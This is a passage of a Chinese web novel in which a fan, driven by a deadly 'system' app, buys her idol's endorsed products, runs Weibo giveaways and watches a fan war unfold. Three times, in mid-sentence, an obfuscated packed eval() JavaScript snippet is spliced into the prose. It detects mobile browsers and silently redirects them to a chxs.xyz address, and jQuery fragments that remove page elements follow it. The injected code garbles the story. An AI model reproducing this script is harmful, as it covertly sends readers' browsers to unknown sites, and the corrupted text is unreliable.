嘉廷的洗发水她之前用过，如果没记错，他的高端产品线本来就一百多一瓶，这次的代言人礼盒除了两瓶洗发水一瓶护发精华，还送了不少中样小样，除此之外，代言人小卡、卡套、立牌、海报应有尽有，可定价却只有328。 比单买更便宜，甚至还白送了无数周边——真是闻所未闻。 凌钰来不及多想，眼看着时间即将跳到九点，她连忙加入购物车，结果发现居然还有限购，每人最多只能买5套…… 到了这时候，同担就是对手，但凡手速慢一点，就只能看到别人晒单了。不过粉了林业这么久，这点手速她自认还是有的，凌钰精神紧绷，在时间跳到九点整的那一瞬间点了进去！ 没了。 什么玩意？ 她看错了还是商品还没放出来？整整两万套，还限购，怎么会一秒就没了？ 她不信邪地重新退出再进去，就只看到链接下方那条灰色的提示：对不起，该商品已下架。 凌钰终于不得不承认上升期艺人粉丝的购买力，或者说，是剧粉的购买力。这可都是正儿八经的活粉，虽然可能还没有真正稳定，也不会做什么数据，但却是一股不容忽视的力量。 也难怪当初曾经喜欢过他的那帮人可以把沈云峰的粉丝压着打。 没有太多的时间去感慨，凌钰只好从别的单品链接里挑最贵的买了80套，剩下的钱则又去心盛咖啡补足，这才重新进入超话发帖。 #聂嘉远代言心盛咖啡#njy#聂嘉远代言嘉廷洗发水# 大家都好能抢啊，代言人礼盒没买到，只好买了点别的。 80套洗发水+10份咖啡单品，依然抽奖送给支持聂嘉远的小家园们。 要求：转发并评论本条微博，聂嘉远超话等级lv5以上，主页没有发表过任何黑聂嘉远及其圈内好友的言论。本次抽奖由微博后台从评论区中随机产生，中奖人名单出来后我会一一核实，不符合条件的将在稍后重新通过后台抽奖，谢谢！ @聂嘉远 下方配图，依然是打码并标注了id号【我来追星了】的订单截图。 这条微博才刚刚发出去，凌钰就看到评论和赞不断增加，她暂时没去管，只通过后台将奖项、人数和开奖时间设定完毕，这才有空去看别的。 虽然才上午九点，但超话里已经有很多人在发帖，有晒单代言人礼盒的，有感慨礼盒价廉物美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913027|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当然更多则是和凌钰一样没买到礼盒，转而买了别的单品支持的。 只是凌钰翻了好几页，并没看到第二个搞抽奖送东西的。 这么一来，倒是显得她这个号格外特立独行。 已经有很多粉丝在下面留言评论—— 【我天，这个号又来了，昨天抽奖的东西估计要一千块，这次这些加起来一万，这究竟是哪家爬墙来的氪金粉啊，难怪要用小号，哈哈，太有实力了吧！】 【太好了是金家园，我们有救了！】 【再金的家园也没抢到代言人礼盒，这就是我和富婆的共同点吗哈哈哈哈呜呜呜，笑着笑着哭出了声……】 【家园们真给力啊，本来昨天还担心今天礼盒卖不掉呢，没想到一眨眼就没了，聂嘉远值得。不过我已经买了洗发水了，所以这条只是单纯支持，如果中奖的话会把名额让给其他人。】 【真好啊，希望聂嘉远能一直有这么多人支持，不要再跟三年前一样了。】 大约是帖子的热度实在高，没过多久，就连超话的小主持也转发了这条抽奖：【大家快点看过来，多多扩散！金家园给大家抽奖送礼物啦！除了评论，即使不需要礼物的家园们也请尽量转发助力，让更多人看到！[爱心][爱心][爱心]】 距离抽奖结束还有至少二十分钟，凌钰没再继续往下看，而是又和昨天一样，开始全方位的考古起聂嘉远的从前。 和高中肄业后选秀出道的林业不同，聂嘉远虽然也是半路出家，却是正经名牌大学毕业的学生，学的还是在凌钰看来如同天书一般的计算机应用科学，也难怪他能轻松解答粉丝的数学题。 因为出众的长相，他在大学时被一位艺术系的老师推荐前往剧组拍戏，从最初的镶边配角，到男五男六，再到男二号，用了也不过三年。 凌钰最初知道他的名字也就是那个男二号，当时他的角色十分出圈，热度甚至超过了沈云峰饰演的男主，吸引了大批粉丝。 原本他是该有更好的前程的，可当时他的圈内好友被人连续网暴，已经到了抑郁症即将自杀的边缘，聂嘉远实在看不下去，发了很长的一篇微博替朋友解释，结果可想而知。 网暴依然继续，只是这回大部分的火力都转移到了他的身上。 舆论的风向就是这么多变。 早前还支持他的人很快反水，成千上万的黑贴从天而降。 而作为当时男主沈云峰的粉丝，压抑许久的峰针们更是终于找到机会，借此疯了一样辱骂他，说他是资源咖，加戏咖，造谣他被人包养，甚至说他早就跟导演和制片人都有了一腿。 总之怎么难听怎么来。 凌钰还记得自己曾在热搜上看到过关于他的黑词条，那时她就站在他这边替他说过话。除了对沈云峰天生的反感，她更不信这些黑料，毕竟真有资源的人早就做男主了，谁乐意给个待爆咖做男配啊？ 可惜，当时喜欢他的人虽多，但基本都是剧粉，新的粉丝黏性不够，不仅没有战斗力，还很容易被舆论左右。 刚刚成型的粉圈顿时被铺天盖地的黑帖打散。 之后的整整一年，一颗冉冉升起的新星就这么销声匿迹了。 可要不怎么说风水轮流转呢？ 这一回，聂嘉远靠着演技又红了，而沈云峰，不出意外的话却要退圈了。 正胡思乱想着，忽然有微信电话跳了出来。 5. 第 5 章 凌钰一看来电人，就没忍住先笑起来。 “发家致富”的网名如此独特，除了她从高中就一起的好朋友孙致容外再没有别人，凌钰连忙按了接听，那边立刻响起对方嘹亮的嗓门。 “我的天，你没事吧？”一句问话之后，没等凌钰回答，孙致容已经接着滔滔不绝道，“这两天我一直忙着在加班加点弄材料，都没上网，结果今天一大早好不容易闲下来，就听同事说你偶像塌了，还有，你偶像的对家也塌了哈哈哈！” 如果最开始的几句话还很担心，说到最后一句时，她的快乐已经溢于言表，可以用幸灾乐祸来形容了。 凌钰“嗯”了一声，【识人】app的事在嘴边转了一圈，到底没有说出口。 这系统太过古怪，她实在不想让孙致容跟着担心，要是让对方知道自己每天在阎王殿门前晃悠，恐怕要吓得班都上不安稳。 孙致容工作本来就忙，家里还有一堆糟心事，没必要给她再平添烦恼。 凌钰很快想定，先不动声色地说自己没什么事，才吐槽：“我也没想到林业居然这么离谱，害我粉个明星，最后差点吃不上饭，至于那个沈云峰，我这两天都还没仔细了解他究竟怎么回事呢。” “你居然不知道？？”孙致容顿时激动。 “我的天，沈云峰的离谱可以说也是不遑多让啊，不过真要比起来，我觉得还是你的偶像赢了，毕竟林业心大，塌得前无古人，后有没有来者不知道，反正不像沈云峰，就在那一亩三分地折腾。” “他不就是睡粉吗？”凌钰记得自己当时看到的热搜是这么说的。 可这种事塌虽塌，跟林业那种法制咖还是比不了的，怎么也不至于用“不遑多让”来形容。 “你知道他睡粉啊？”孙致容“害”了一声，“那你居然不知道别的？这是伤心到瓜都不吃啦？平时他的事你可一样没落下。” “他可不仅仅是睡粉，听说他跟圈子里好几个导演制片人都有一腿，那些人也被骗得够惨的，个个都以为自己是唯一。怎么说呢？要不是这次你的偶像塌房了，他可能也不至于塌这么快。” 这里面还有林业的事，不应该吧？ 他俩可是正儿八经的死对头，八年里抢资源抢代言，就连座位和红毯出场顺序都要争一争，林业就是心再大，玩得再花再夸张也不可能带沈云峰的，那不是自己把枪往敌人手上送吗？ 凌钰倒是真好奇起来：“怎么说？” “看来你是真不知道！”瓜不分享，乐趣减半，瓜一分享，乐趣加倍，孙致容说话的语速更快了。 “林业一塌，沈云峰的那帮粉丝都觉得自家主子的机会来了，一个个跃跃欲试摩拳擦掌，其中有一个大粉就想着能抽空和他见面详谈后续发展——其实也是想他了，哪知发的信息却被另一个正和他睡一起的大粉看到了。” “这一看不要紧，本来以为自己是唯一，结果随便数了数他手机上的联系人，能看到的就有八个唯一，这还没算有些看不到说不定已经被删掉了的。” “啊？”凌钰听傻了。 难怪之前在热搜上看到词条说什么脚踩多只船。 凌钰当时并没有太在意，自然更不会想到这人爱情的小船竟有这么多只。 沈云峰，他这是图啥啊？做了明星心里空虚吗？ 明明有大好的希望和前程，明明有比普通人更好的机会和条件，资源倾斜，花团锦簇，享受着粉丝无私的爱，工作人员辛勤的陪伴付出和所有聚光灯的照耀，收获着比付出的劳动多出千倍万倍的酬劳，却偏偏不珍惜。 这些在他人看来望尘莫及的东西，在他们眼中就这么不值一提吗？ 凌钰想不明白，不过再一转念她就又释然了—— 算了，她有什么资格质疑人家？她的前偶像林业比沈云峰可是有过之而无不及，夸张了百倍不止。 总结一句话，还是人品问题。 圈子再乱，也有出淤泥而不染的，池水再清，也难免有污浊入眼。 凌钰的胡思乱想也不过是一瞬，孙致容已经又娓娓道来。 “可笑的是，发现他脚踩多只船的这个大粉并没有就此决定远离渣男揭穿他的真面目，而是选择了原谅，只不过抓着他出轨的证据，逼着他把其他的几个唯一删了。结果这不删不要紧，一删就删出了大事！” 听到这里，凌钰懂了。 事情发展到这个份儿上，沈云峰其实已经无力回天，左右都是个死。 被对方手握证据，要么是被直接爆料，要么，只能妥协承认她是唯一嫂子。 被直接爆料固然会立刻就死，可让这位大粉成为唯一嫂子，其他被删的人又怎么可能善罢甘休？区别不过是从死刑变死缓，塌房是早晚的事。 沈云峰显然选择了后者，愣是还拖了两天，可惜常在河边走哪有不湿鞋，他也仅仅拖了两天，就彻彻底底地塌了。 大厦将倾，接二连三有人发出聊天截图，甚至还有一些很辣眼睛视角独特的合照。 最开始这些还只是大粉之间的较量，没过多久就连圈子里一个小有名气的副导也出来说了话。 孙致容担心自己口述不够详尽，还特意去网上翻到了对方发的那个帖子，扔了个截图过来。 文字太长，不过已经有网友标注了重点，其中最打眼的就是—— 【当时我就在房间里，听到他在外面那个男制片不清不楚，可我担心会因为自己影响他的前程，硬是逼着自己没有出声。我以为他是逼不得已，一直心疼他为自己的梦想付出了那么多！谁知道，我才是那个蠢货！】 【沈云峰，你荤素不忌把自己当条狗的时候，想过自己当初跪在我面前求我给你机会的样子吗？】 …… 凌钰呆住了，那一刻，她想求一双没有看过这条文字的眼睛。 孙致容显然也被恶心得不浅，这会儿正在对面嗷嗷叫：“My eyes！你知道我当时看见时有多震惊吗？我还以为你都知道了呢，没想到你偶像的对家出这么大的事，你居然不知道！你这两天在忙什么啊？” “之前就听你说你把全部家当都投给林业了，那现在不是真要没钱吃饭？我记得你们工资都得下个月十号才发吧，要不我先转点给你用着？” 凌钰赶紧先关了那图片，把因此产生的生理性恶心压住，这才回答：“不用，我现在又赚了点钱，吃饭问题不大，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913028|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们公司把我给辞退了——” 话音未落孙致容就叫起来：“什么？！那破公司居然真的辞退你？那你怎么办？要不你试试来我们公司，虽然工资可能没你之前那个高，但胜在还算稳定，你要是觉得可以我就跟我们领导先打个招呼。” “不用啦——”凌钰懒懒散散拉了个长调，她能活着就不错了，“我现在找了份别的工作，忙着干活，工资还挺可观。” 1:1返现，当然可观—— “争取有一天能带着你真正发家致富，到时候你也不用在那天天加班掉头发了。” “还有啊，”凌钰想了想，还是强调了一下，“那个林业已经不是我的偶像了，我换人粉了，我现在的正主是《凤凰记》的男主角。” “他叫聂嘉远。” * 挂断电话时，微博抽奖的结果已经出来了。 大部分人都已经填好了收货地址，有两个说要把名额让给别人，凌钰看着时间还够，干脆又抽了一回奖，安安稳稳完成了任务。 倒计时还有半个多小时，系统完成结算，最上面的显示变成了—— 已解锁资金：10000元，已使用资金：10000元，返利：10000元（正在打款中）。 倒计时消失，很快系统提示弹窗从页面跳了出来：“宿主您好，恭喜您完成本次任务，获得附赠寿命10天，请您收货后尽快邮寄出不属于您的物品，否则将受到相应惩罚。祝您生活愉快。” 再往下是小小的人物头像旁标注着—— 正主1：聂嘉远。 状态：正常。 已返利总金额：11000元。 与此同时，银行卡的到账短信也跳了出来。 凌钰摸了摸自己的心口，下意识跪倒在床上，对着不知名的老天爷喃喃念叨：“天灵灵地灵灵，南无阿弥陀佛，无上天尊在上，耶稣玛利亚，不管是哪路神仙，一定要保佑聂嘉远谨言慎行遵纪守法，永不塌房！求求了！” 她在这里祈祷的同时，有人也正在某个粉丝群里祈祷。 “这个聂嘉远他究竟怎么回事？一连两个商务官宣，听说这两天还有新商务在接触，《凤凰记》的播放量明明不及我们《龙吟》，为什么他的粉丝声量就这么大？这两天热搜上那么多塌房的，就不能让他也塌了吗？” “之前不是说他那个咖啡套盒没卖掉吗？为什么今天这个洗发水又卖得这么好，我看官方都出大字报了，说什么2万套代言人礼盒秒售罄。” “有哪家恶心的氪金粉爬墙了吧，我今天看到他家都在转发一个抽奖，那人好像买了好多洗发水。” “【我来追星了】是吧？我也看到了，不过那人抽奖抽的不是代言人礼盒，说是没买到，也不知道真的假的，搞不好这里面本来就有水分。” “这个聂嘉远之前不是还帮那谁说过话被网友骂死了的吗？怎么没两年就又蹦出来了，这两天他家粉丝到处蹦跶，也不看看自己播放量能不能看，就敢来拉踩我家赵恒，恶心死了。” “求求了，让他赶紧塌房吧！” “他不是本来就塌过吗？既然这么想出头，那就让他重走一遍老路好了。” 6. 第 6 章 终于得了整整十天寿命，凌钰这才稍微有了点喘息的空间。 先把最近没看完的《凤凰记》补上，又点了份外卖小火锅，孤家寡人的她倒也乐得自在，边吃边搜了几个聂嘉远以前参加过的综艺看。 烫了两片滚热的肥牛卷，凌钰看向电视投屏。 画面里，聂嘉远正在和一个叫赵恒的男演员对峙，这一part比的是技巧、反应、力量和体能，双方同时站在不断旋转的圆盘上，稳住自己身型的同时，先将对方推落的即为获胜。 节目组圆盘设置得并不算高，考虑到艺人的安全，下方的池子里还放了大量的海绵泡沫做缓冲。 周围的嘉宾们一个个上蹿下跳地加油助威，聂嘉远和赵恒简单的亮相之后，游戏开始，随着一声哨响双方同时发力！ 赵恒虽然也有一米八的身高，但身型明显瘦弱，聂嘉远却人高马大臂力惊人，欢快的音乐声和紧张的加油声中，两人才刚抱成一团就分出了胜负，赵恒几乎是眨眼间被推下了圆盘。 还好下方的海绵泡沫起了作用，将人护住了。 不过护虽护住了，赵恒在对抗中却是脑袋先掉下去的，再一用力挣扎，顿时像倒栽葱一样栽到了坑底，只剩两只脚在空中乱踢。 周围的嘉宾们笑得直打跌。 “我的妈呀，这是种了一个赵恒进去吗？” “想过快，没想过会这么快，这边才喊游戏开始呢，那边游戏结束了！” “怎么回事！我刚刚都还没来得及看清，发生了什么！哈哈哈！我是真没看清啊，我刚还跑到前面想说话，一转头这边都成这样了！” “要不怎么说不要跟聂嘉远玩这个呢，你们看看他那肌肉，力气大也就算了，关键他还灵活啊，诶，我之前看过他打戏的绿幕直出，不知道的还以为他本来就会武功呢！你就算会武功，也不能种人啊！” 也不知是自知狼狈所以拉不下脸，还是被聂嘉远轻而易举的“秒杀”有些不忿，还是这帮人的“嘲笑”让他觉得丢人，又或者是别的什么，总之镜头再次扫过赵恒的时候，他好像不太高兴，有点挂脸。 好在聂嘉远虽然看着大大咧咧笑嘻嘻的，但其实挺能照顾到别人的情绪，大概也发现赵恒有点不对劲，从圆盘上掉下来后连忙将他拉了起来，拍了拍他的肩膀，问道：“没事吧？刚才力气大了点，有没有撞到你？” 赵恒似乎迟疑了一下，才慢慢摇头回道：“没事。” 弹幕上，能看到粉丝零零碎碎的发言—— 【赵恒的胳膊前两天拍戏时受伤了，他是不知道吗？一个游戏而已，知道自己力气大还用这么大力，是有多恨？】 【赵恒好惨，为什么一定要跟这种人玩游戏啊？还有旁边那帮人，这好笑吗？这不就是职场霸凌？】 【到哪都有他，真的服了，甩都甩不掉的感觉好无力啊，打了一巴掌再给个甜枣，哥哥刚刚摔下去的时候明显撞到胳膊了，而且头朝下摔，这么危险他不说对不起，就这么不疼不痒地问一句就结束了吗？气死我了！】 【节目组也有病，明知哥哥受伤还非要让他上！】 【撞也撞了，装也装了，嘴上的关心谁不会啊？】 【没人觉得聂嘉远像个家暴男吗？】 视线扫过弹幕的凌钰不由挑了下眉，赵恒的粉丝戾气怎么这么大？ 对抗游戏中难免会有误伤，但看刚才的画面，坑底的海绵铺得绝对不少，摔下去受伤的可能实在微乎其微。 而艺人如果真的本身身上带伤，一般都会提前跟节目组沟通，打过招呼之后大多数导演也都会选择规避风险。除非真的是那种没有下限只要话题的，否则谁会没事故意拿嘉宾的身体开玩笑？ 真要是出了事，无论是艺人本身还是经纪公司，亦或是粉丝，其实都不好惹。 凌钰心里的疑惑一闪而过，画面跳转，节目已经进行到了下一个环节。 好在这之后并没有更多对抗性的游戏，弹幕的内容明显平和了不少，凌钰的注意力被节目吸引，也就没再多想——粉丝大概只是看不过自己哥哥输得这么惨吧？ 毕竟赵恒给人的感觉怎么说呢，一直挺注意形象的。 就是很有偶像包袱。 本来以为这事不过是个小小点缀，根本不值一提，但接连又看了几个综艺之后，凌钰渐渐发现了不对劲。 聂嘉远和这个赵恒居然还挺有缘，他俩似乎经常会在综艺里遇到，而且随着时间推移，弹幕里赵恒粉丝对聂嘉远的谩骂也越来越严重，直到最近一期的一档综艺，两人同时宣传新剧。 《凤凰记》和《龙吟》在不同平台同时播出，这不是正面对打是什么？弹幕里赵恒的恒星们已经可以用气急败坏来形容了。 【没完了是吧？剧非要同时开播，还非要同时上同一档节目宣传，聂嘉远是没妈吗？就可着我家哥哥一个人薅了是吧？】 【赵恒古偶第一人，赵恒古偶第一人，赵恒古偶第一人！聂嘉远滚！】 【我是真的笑了，我家《龙吟》可是原著名，《凤凰记》不会是看着我家这个名字特意改的吧？我记得这原著没有什么凤凰吧？这剧原著不是叫什么《入主中宫后，我手掌大权》吗？哈哈哈哈！】 【我家哥哥一路努力了这么久才到现在的位置，丑聂有什么？靠爬床的技术吗？为什么这种人还不封杀？之前那么多黑料，网友的记性会不会也太差了，这片子真的有人看吗？】 【已经利用官方渠道投诉，恒星们都去，不想看到这张恶心的脸！】 剧宣的综艺，当时两部剧根本都还没播，聂嘉远并没有什么粉丝基础，因此弹幕上几乎没有替他说话的人。 凌钰特意把弹幕全打开，满屏密密麻麻，一条一条，全是咒骂。 这是多大仇多大怨啊！ 在这之前，她还真没怎么遇到过这种情况。 既能称为对家，一般来说双方的身份地位资源能力应该都相差不大，正主对打的同时，粉丝们也基本可以战个五五开。 比如十年前，林业的对家是他的那帮队友，当时团内大战，一晚上几万条帖子，那都是有来有回。 八年前，林业的对家变成了和他经历相似，演技水平相似，圈内地位也相似的沈云峰。同样都是选秀出身，爱豆转型，差不多的霸道总裁，每次有什么争端，到最后也基本都是以平手为结局。 像这样单方面挨打，真是闻所未闻，叫人怜爱。 也不知道聂嘉远看不看自己的综艺，也不知道他看视频的时候有没有打开弹幕的习惯。她一个刚爬墙来的粉丝都看得生气，作为被骂者本人，还真得有点过硬的心理素质。 凌钰没再继续看节目，而是准备先好好了解一下两家的恩怨。 在微博广场输入“聂嘉远 赵恒”，点击搜索的一瞬间，跳出来的内容却让她稍稍呆住。 怎么回事？ 最新的帖子怎么会这么多？ 实时栏不停跳动着，凌钰看向热门最前排，赵恒的大粉赫然在目—— 【恒星永远：聂嘉远自己是什么货色也敢拉踩我家？赵恒才是古偶第一人知道吗？一个小小的代言人礼盒就敢拿出来吹，以后谁家东西卖个2万份都能说自己牛了呗？资源咖靠卖屁股得来的代言，也不嫌恶心，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913029|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人管了？】 后面艾特了一堆官方号。 这条帖子光转发就已经过万，更别说下面的评论和点赞。 【三年前的黑料这么快就有人忘了？要不要我们来提醒一下？爬制片人的床，跟导演有一腿，有人还记得当时他跟沈云峰在一个剧组吗？姓沈的都锤了，真以为他是清白的？】 【不会吧不会吧，当时聂嘉远帮某人说话的事大家都忘了吗？那位可是退圈了，要不是真有问题能退圈？】 【背后有人就可以为所欲为吗？聂嘉远滚出娱乐圈！】 【请官方核查代言人礼盒销量，我们绝不认可数据造假，如果造假的数据都能拿出来吹，以后这个圈子得乱成什么样？】 退出评论区再去看实时，难得的，凌钰刷到了那么几条在帮聂嘉远说话，不过被淹没在大批的骂声中，不知道为什么，显得有点可怜。 【聂嘉远那个代言人礼盒真的是我们自己买的，数据没有造假，为什么非要说数据造假啊，我想买都没能买到。】 【聂嘉远真的不是什么资源咖，而且最开始说他是资源咖的人就是沈云峰的粉丝，他怎么可能是跟沈云峰一样的人？反正我是不信的。】 【有没有搞错？李欣本来就是因为被某些资源咖欺负得混不下去了才退圈的，怎么现在还有人不知道吗？为什么还在用这个事攻击聂嘉远啊？聂嘉远是无辜的好吗？】 满打满算就看到这三条更多算是解释，连反击都算不上的帖子，凌钰有点无语，就这点攻击力估计都伤不了对方的油皮，谁知再一刷新，赵恒的粉丝却更破防了。 【聂嘉远那群家园是有病吗？她们是在给我们解释还是在炫耀？还想买买不到，有病啊？谁想知道你家能不能买到啊？】 【什么样的主子就有什么样的粉丝呗，主子是白莲，粉丝也是白莲。】 【聂嘉远的粉丝滚啊！】 倒是另辟蹊径，吵不过对方，准备气死对方。 凌钰没了继续吃瓜的心情，有点犯愁的点进超话，果然看到粉丝们都有点乱了套。虽然最近有不少爬墙来的新粉，但整个粉圈没有核心，光靠散粉就算想冲也冲不了，而更多的则是第一次追星的新人，那就更麻烦了。 【我要急死了，真的，好害怕聂嘉远又像三年前一样被黑得什么都没了啊，赵恒的粉丝都追着骂了三年了，一年比一年过分，不就是之前有人对比过他俩的演技吗？本来聂嘉远演技就是好啊，我真服了。】 【战斗粉都在哪里？本战斗家园要忍不住开麦了！】 【还是别跟他们吵了吧，最近好不容易吸了一波粉，吵架只会给路人留下不好的印象，聂嘉远好不容易靠自己又走到我们面前，粉丝一言一行都还是要注意的，再说了，我家从来就没跟他家计较过……】 【你是不计较，耐不住人家计较啊！】 凌钰一口气堵在嗓子眼里，难得生出些恨铁不成钢的气愤来，后援会呢？连反黑都不会吗？就算不吵架，至少组织粉丝先去把对方的黑帖举报了删掉啊！ 她实在没忍住，点进聂嘉远后援会的账号准备发私信，刚要在聊天框里打字，【识人】app的提示突然接二连三地弹出—— 最新任务：本次解锁资金100000元，请于4小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 等会儿，多少？ 个十百千万十万！ 五个零！ 系统这是准备要她上天吗？ 而且她明明才刚完成过一次任务！ 7. 第 7 章 说好的十天寿命，突然就只剩几个小时，凌钰差点直接爆炸。 而且十万块可实在不是个小数目，尤其聂嘉远才刚刚有些热度，又没有什么高奢代言，她能买的东西就那么几样，咖啡和洗发水单价都不高，让她上哪去在四个小时里花完这么多钱？ 花钱是一方面，东西还要送掉，抽奖都要抽好久的啊！ 凌钰刚才还满心冲动想去私信后援会反黑，这会儿人都麻了，哪还有心情？默默地关掉聊天框，她再次打开了咖啡和洗发水的官方店铺。 心盛咖啡目前最贵的套装，是一款精品蓝山咖啡豆，但再精品，毕竟品牌档次定位只是中端，选用的咖啡豆仅仅是该品种里的普通标准，因此两罐凑成一套礼盒标价也才628元。 嘉廷洗发水就更是平价，代言人礼盒卖完后根本没上别的礼盒，最贵单品依然是之前她买过的那一款。 人麻了。 可再麻此刻也不是闹罢工的时候，凌钰大概算了一下平均值，还是按照之前的方法，先把最贵的东西数量顶格买，剩下拼拼凑凑一堆零散物品凑足十万块，最后带着她的咖啡和洗发水又返回了微博。 #赵恒聂嘉远#的词条已经冲上热搜，赵恒的粉丝还在集体骂人，家园们也还在零零散散地解释着，点开广场，局势明显一边倒。 这回倒不是人数上的差距，而是对方已经来势汹汹，自家粉丝却还都在一个个好言好语地解释。 结果如何先摆在一边不谈，反正就气势上来说肯定是输了。 不过混乱中，凌钰却又看出点门道。 这帮恒星脾气不好，可能是之前在双方的战斗中一直占据上风，习惯了居高临下，因此个个都像小炮仗，不点都可能会着，一点更是立刻就炸。 家园们却全体温温吞吞，彬彬有礼，不管对方怎么大放厥词，她们都能理智分析现状，认真说明情况。于是也不知怎么的，这边越解释对方就越生气，已经渐渐口不择言快要向核弹演变了。 【聂嘉远吸引的这帮粉丝是傻子吗？内娱什么时候出了这种蠢货啊我真的受不了了！看清楚地方好吗，跑来我这宣传丑聂的商务，有病吧！数据造假就是数据造假，销量差就是差，再宣传也没用的懂吗？】 【丑聂的粉丝叫家园，结果她们根本没家啊，家里人是都死光了吗，一直在我们家逼逼赖赖，以前他的粉丝就恶心，现在比以前更恶心了。】 【能不能去死？我亲自提供棺材钱，聂嘉远的粉丝能不能都去死啊！】 这些是还能看出点逻辑的言论，剩下的已经全程脏话，不堪入目。 看得出来，虽然吵了，也骂了，但恒星们一点儿都没有胜利的喜悦，有的只有憋屈和气愤。 这大概就是一拳打在棉花上的感觉？ 凌钰看着看着忽然灵机一动，现在这个状态，对骂肯定是骂不过了，不过，她也略懂一些气人的本事。 依然按照固定格式发帖配图，这次内容却有了些改变。 #聂嘉远商务销量#njy#赵恒聂嘉远# 家园不会骂人，只会氪金，既然你说我数据造假销量不够，那我就再贡献点数据和销量好了，又买了点咖啡和洗发水，总价值100000元，还是抽奖全部送出，要求跟之前一样（不知道的可以去翻我上一条微博）。 就当反黑了，感谢某人粉丝送来的热搜，谢谢！ @聂嘉远 ——这热搜不用看都知道是对方干的好事，赵恒的名字排在前面，就连话题热度都是为他贡献的。 微博发出，凌钰在后台将抽奖信息全部填完之后才返回超话去看，这条下面已经彻底炸锅，可只是简单的炸锅还不够，凌钰重新点开了后援会的私信，编辑信息发送。 【我来追星了：麻烦帮忙扩散一下我最新的那条抽奖博啊，谢谢！】 对面很快回复：“好的！[爱心][爱心][爱心]” 退出聊天框再去看超话置顶，凌钰才发现在自己刚刚买东西的过程中，反黑组已经发了帖子让大家举报黑帖。看来她们的反应虽然慢了点，也不是完全没有意识的，不过很快，那置顶就又换了个新贴。 哦，是她的那条抽奖。 后援会官号估计也憋了一肚子气，只是因为新粉太多，就连举报都要手把手地教，营销号下面的控评文案好不容易知道复制了去回复吧，却又不知道要点内赞，而且还免不了有好多不逛超话的人连评论下面不能楼中楼都不懂。 既然反黑控评都搞不过，不如干脆先用这条抽奖博抢占热搜前排好了。 虽然是个新号，甚至超话总共才发过三回帖，可这三条抽奖博一条比一条含“金”量高，就已经足够让人肯定、信赖并推她一把。 这一点追星人都心知肚明，嘴上说再多的喜欢都可能是假的，做再多的数据也可能只是举手之劳，但有一点却不用怀疑，钱在哪里，真正的爱就在哪里。 凌钰的那条帖子本来就已经有足够的热度，应该是蹭上了热搜话题，此刻被后援会再这么一置顶又转发扩散，顿时点击转发和评论数狂飙，短短十分钟就冲到了热搜前排。 有路过的真路人都被震住了。 【这是两家对打招惹氪金粉了？】 【真有钱啊，花十万块来反黑，我的天我数零都数了半天，姐姐还缺妹妹吗？我打眼一看就知道，你就是我那素未谋面的亲姐姐！】 【我现在去粉聂嘉远还来得及吗，我从来没骂过他也没骂过他朋友，我觉得我有机会，这么多咖啡和洗发水，怎么也该有我的一套吧？】 但赵恒的粉丝却气得七窍生烟，粉丝群里骂声一片。 “这个【我来追星了】又来了，一个才刚注册的新号，究竟从哪儿冒出来的啊我真服了，以前丑聂有这么有钱的氪金粉吗？” “内号吧？不然后援会怎么会帮她置顶微博啊，还转发，搞不好就是他自己工作室的，真恶心，粉丝对打，他家连正主都亲自下场，丑聂就是恶心，一天到晚装模作样。” “不是内号就是哪个包养他的富婆下场了，笑死，都包养了，居然就只舍得花了十万，丑聂就只值十万块吗？” “这个号不会是虚假抽奖吧？她一共发了三条抽奖博，到现在有谁看到中奖的人晒收货的图了没？” “肯定有问题，先集中精力冲了这个号，把她那条抽奖博举报掉！” 凌钰帖子已发，设定的抽奖时间在一个小时之后，后台每秒钟都有无数提醒，她干脆不再去看，而是又去其他平台找了找聂嘉远和赵恒相关的内容。不管怎样，知己知彼方能百战不殆，先弄清发生过什么，后续才好应对。 边找她又边发了条信息给孙致容。她这个朋友工作忙，但也正因为工作压力大，又不像她有正儿八经的偶像，对娱乐圈的八卦了解反而更多。 正是下午下班的点，孙致容大概是在回家的路上，没有及时回复。 凌钰在网上搜了一会儿，倒是先了解了一点前因后果。 与聂嘉远不同，这个赵恒是正经科班出身，大学读的就是表演专业，演艺道路也很顺遂，出道第一部戏就是男主，虽然没有太大的水花，但之后他又连续演了好几部小成本网剧，渐渐积累了不少人气。 赵恒长得不错，浓眉大眼，算是当下比较吃香的花美男。身材高挑，在古偶赛道的确有那么点竞争力，尤其是三年前主演的一部《梨落》，他在其中饰演腹黑隐忍，却对女主痴情 